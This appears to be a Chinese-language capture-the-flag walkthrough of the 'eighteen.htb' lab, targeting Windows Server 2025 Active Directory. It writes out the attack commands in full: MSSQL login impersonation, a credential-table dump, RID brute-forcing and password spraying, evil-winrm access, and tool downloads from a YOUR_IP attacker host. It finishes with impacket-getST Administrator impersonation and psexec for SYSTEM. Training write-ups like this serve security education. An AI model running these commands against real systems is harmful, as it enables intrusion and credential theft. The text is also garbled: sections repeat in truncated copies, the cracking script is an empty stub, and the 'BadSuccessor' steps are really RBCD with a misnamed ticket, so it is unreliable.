Windows Server 2025 BadSuccessor漏洞利用教学文档<\/h1>

概述<\/h2>
本教学文档详细介绍了针对Windows Server 2025 Build 26100环境中Active Directory的渗透测试过程，重点分析了BadSuccessor权限提升漏洞的发现和利用方法。<\/p>

环境信息<\/h2>

目标系统：Windows Server 2025 Build 26100<\/li>
域名：eighteen.htb<\/li>

域控制器：DC01 (10.10.11.95)<\/li> <\/ul>

第一阶段：信息收集<\/h2>

端口扫描<\/h3>

使用Nmap进行全端口扫描：<\/p>

sudo nmap -O -A -Pn -T3 -p- 10.10.11.95
<\/span><\/span><\/code><\/pre>发现开放服务：<\/p>

80\/tcp：Microsoft IIS httpd 10.0<\/li>
1433\/tcp：Microsoft SQL Server 2022<\/li>
5985\/tcp：WinRM服务<\/li>
<\/ul>
初始凭据获取<\/h3>
获得初始SQL Server登录凭据：<\/p>

用户名：kevin<\/li>
密码：iNa2we6haRj2gaw!<\/li>
<\/ul>
第二阶段：SQL Server权限提升<\/h2>
初始连接测试<\/h3>
使用Impacket工具连接SQL Server：<\/p>
impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.10.11.95'<\/span>
<\/span><\/span><\/code><\/pre>发现当前权限为guest用户，权限受限。<\/p>
数据库枚举<\/h3>

查询系统数据库：<\/li>
<\/ol>
SELECT<\/span> name FROM<\/span> master.dbo.sysdatabases;
<\/span><\/span><\/code><\/pre>发现financial_planner数据库但无法访问。<\/p>

枚举服务器主体：<\/li>
<\/ol>
SELECT<\/span> name AS<\/span> LoginName, type_desc AS<\/span> AccountType 
<\/span><\/span>FROM<\/span> sys.server_principals 
<\/span><\/span>WHERE<\/span> type_desc NOT<\/span> IN<\/span> ('SERVER_ROLE'<\/span>, 'ASYMMETRIC_KEY'<\/span>, 'CERTIFICATE'<\/span>) 
<\/span><\/span>ORDER<\/span> BY<\/span> name;
<\/span><\/span><\/code><\/pre>权限提升<\/h3>
使用nxc工具枚举模拟权限：<\/p>
nxc mssql -u kevin -p iNa2we6haRj2gaw! -M enum_impersonate 10.10.11.95 --local-auth
<\/span><\/span><\/code><\/pre>发现appdev用户具有模拟权限。<\/p>
在SQL会话中执行权限提升：<\/p>
EXECUTE<\/span> AS<\/span> LOGIN =<\/span> 'appdev'<\/span>;
<\/span><\/span><\/code><\/pre>数据提取<\/h3>

访问financial_planner数据库：<\/li>
<\/ol>
USE financial_planner;
<\/span><\/span>SELECT<\/span> name FROM<\/span> sys.tables;
<\/span><\/span><\/code><\/pre>
提取用户凭据：<\/li>
<\/ol>
SELECT<\/span> *<\/span> FROM<\/span> users;
<\/span><\/span><\/code><\/pre>获得管理员哈希值：<\/p>
admin@eighteen.htb:pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
<\/code><\/pre>
哈希破解<\/h3>
使用自定义Python脚本破解Werkzeug哈希：<\/p>
#!\/usr\/bin\/env python3<\/span>
<\/span><\/span>import<\/span> hashlib
<\/span><\/span>from<\/span> multiprocessing import<\/span> Pool, cpu_count
<\/span><\/span>
<\/span><\/span>def<\/span> check_password<\/span>(password):
<\/span><\/span>    # 哈希验证逻辑<\/span>
<\/span><\/span>    pass<\/span>
<\/span><\/span>
<\/span><\/span># 主要破解代码<\/span>
<\/span><\/span><\/code><\/pre>第三阶段：域枚举和横向移动<\/h2>
RID暴力枚举<\/h3>
使用nxc枚举域用户：<\/p>
nxc mssql 10.10.11.95 -u kevin -p iNa2we6haRj2gaw! --rid-brute --local-auth
<\/span><\/span><\/code><\/pre>WinRM密码喷洒<\/h3>
发现有效凭据：<\/p>

用户名：adam.scott<\/li>
密码：iloveyou1<\/li>
<\/ul>
建立WinRM连接<\/h3>
evil-winrm -i 10.10.11.95 -u adam.scott@eighteen.htb -p iloveyou1
<\/span><\/span><\/code><\/pre>第四阶段：权限提升准备<\/h2>
内部信息收集<\/h3>

上传winPEAS.bat进行系统枚举：<\/li>
<\/ol>
Invoke-WebRequest -Uri 'http:\/\/YOUR_IP:8000\/winPEAS.bat'<\/span> -OutFile "$env:USERPROFILE\Desktop\winPEAS.bat"<\/span>
<\/span><\/span><\/code><\/pre>
运行信息收集：<\/li>
<\/ol>
.\/winPEAS.bat > win.txt
<\/span><\/span><\/code><\/pre>
使用BloodHound收集域信息：<\/li>
<\/ol>
Invoke-WebRequest -Uri 'http:\/\/YOUR_IP:8089\/SharpHound.exe'<\/span> -OutFile "$env:USERPROFILE\Desktop\SharpHound.exe"<\/span>
<\/span><\/span><\/code><\/pre>第五阶段：BadSuccessor漏洞利用<\/h2>
漏洞背景<\/h3>
Windows Server 2025引入了委派托管服务帐户(dMSA)功能，BadSuccessor漏洞允许在特定条件下提升权限。<\/p>
漏洞检测<\/h3>
使用PowerShell脚本检测：<\/p>
.\Get-BadSuccessorOUPermissions.ps1
<\/span><\/span><\/code><\/pre>输出结果：<\/p>
Identity    OUs
--------    ---
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}
<\/code><\/pre>
漏洞利用步骤<\/h3>
1. 创建计算机账户<\/h4>
使用bloodyAD工具在OU=Staff,DC=eighteen,DC=htb中创建计算机账户hackheart。<\/p>
2. 设置RBCD权限<\/h4>
为hackheart$设置基于资源的约束委派权限，允许其代表任意用户。<\/p>
3. 获取TGT票据<\/h4>
使用计算出的NTLM哈希获取hackheart$的TGT票据。<\/p>
4. 获取Silver Ticket<\/h4>
使用impacket-getST获取Silver Ticket，代表Administrator访问ldap\/dc01.eighteen.htb服务：<\/p>
impacket-getST -dc-ip 10.10.11.95 -spn ldap\/dc01.eighteen.htb -impersonate Administrator eighteen.htb\/hackheart$
<\/span><\/span><\/code><\/pre>5. 获取域控权限<\/h4>
使用获得的票据通过psexec获取SYSTEM权限：<\/p>
impacket-psexec -k -no-pass dc01.eighteen.htb
<\/span><\/span><\/code><\/pre>关键技术和工具总结<\/h2>
使用工具<\/h3>

Nmap<\/strong>：端口扫描和服务识别<\/li>
Impacket<\/strong>：MSSQL客户端和票据操作<\/li>
nxc<\/strong>：网络凭证扫描和枚举<\/li>
evil-winrm<\/strong>：Windows远程管理<\/li>
BloodHound\/SharpHound<\/strong>：Active Directory关系分析<\/li>
bloodyAD<\/strong>：Active Directory操作工具<\/li>
<\/ol>
技术要点<\/h3>

SQL Server权限提升技术<\/li>
基于资源的约束委派攻击<\/li>
Kerberos票据操作<\/li>
BadSuccessor漏洞原理和利用<\/li>
Windows Server 2025新特性分析<\/li>
<\/ol>
防御建议<\/h2>

及时安装Windows Server 2025安全更新<\/li>
限制SQL Server中的模拟权限<\/li>
监控Active Directory中的异常计算机账户创建<\/li>
实施基于时间的Kerberos策略<\/li>
定期审核域权限委派设置<\/li>
<\/ol>
参考资源<\/h2>

Microsoft安全公告：BadSuccessor漏洞详情<\/li>
Active Directory安全最佳实践<\/li>
Windows Server 2025安全配置指南<\/li>
<\/ul>

本教学文档仅用于安全研究和教育目的，请勿用于非法活动。<\/em><\/p>

Windows Server 2025 BadSuccessor漏洞利用教学文档<\/h1>

概述<\/h2> 本教学文档详细介绍了针对Windows Server 2025 Build 26100环境中Active Directory的渗透测试过程，重点分析了BadSuccessor权限提升漏洞的发现和利用方法。<\/p>

第一阶段：信息收集<\/h2>

第二阶段：SQL Server权限提升<\/h2>

第三阶段：域枚举和横向移动<\/h2>

第四阶段：权限提升准备<\/h2>

第五阶段：BadSuccessor漏洞利用<\/h2>

漏洞背景<\/h3> Windows Server 2025引入了委派托管服务帐户(dMSA)功能，BadSuccessor漏洞允许在特定条件下提升权限。<\/p>

漏洞利用步骤<\/h3>

1. 创建计算机账户<\/h4> 使用bloodyAD工具在OU=Staff,DC=eighteen,DC=htb中创建计算机账户hackheart。<\/p>

2. 设置RBCD权限<\/h4> 为hackheart$设置基于资源的约束委派权限，允许其代表任意用户。<\/p>

3. 获取TGT票据<\/h4> 使用计算出的NTLM哈希获取hackheart$的TGT票据。<\/p>

关键技术和工具总结<\/h2>

参考资源<\/h2> Microsoft安全公告：BadSuccessor漏洞详情<\/li> Active Directory安全最佳实践<\/li> Windows Server 2025安全配置指南<\/li> <\/ul> 本教学文档仅用于安全研究和教育目的，请勿用于非法活动。<\/em><\/p>

概述<\/h2>
本教学文档详细介绍了针对Windows Server 2025 Build 26100环境中Active Directory的渗透测试过程，重点分析了BadSuccessor权限提升漏洞的发现和利用方法。<\/p>

漏洞背景<\/h3>
Windows Server 2025引入了委派托管服务帐户(dMSA)功能，BadSuccessor漏洞允许在特定条件下提升权限。<\/p>

1. 创建计算机账户<\/h4>
使用bloodyAD工具在OU=Staff,DC=eighteen,DC=htb中创建计算机账户hackheart。<\/p>

2. 设置RBCD权限<\/h4>
为hackheart$设置基于资源的约束委派权限，允许其代表任意用户。<\/p>

3. 获取TGT票据<\/h4>
使用计算出的NTLM哈希获取hackheart$的TGT票据。<\/p>

参考资源<\/h2>

Microsoft安全公告：BadSuccessor漏洞详情<\/li>
Active Directory安全最佳实践<\/li>
Windows Server 2025安全配置指南<\/li> <\/ul>

本教学文档仅用于安全研究和教育目的，请勿用于非法活动。<\/em><\/p>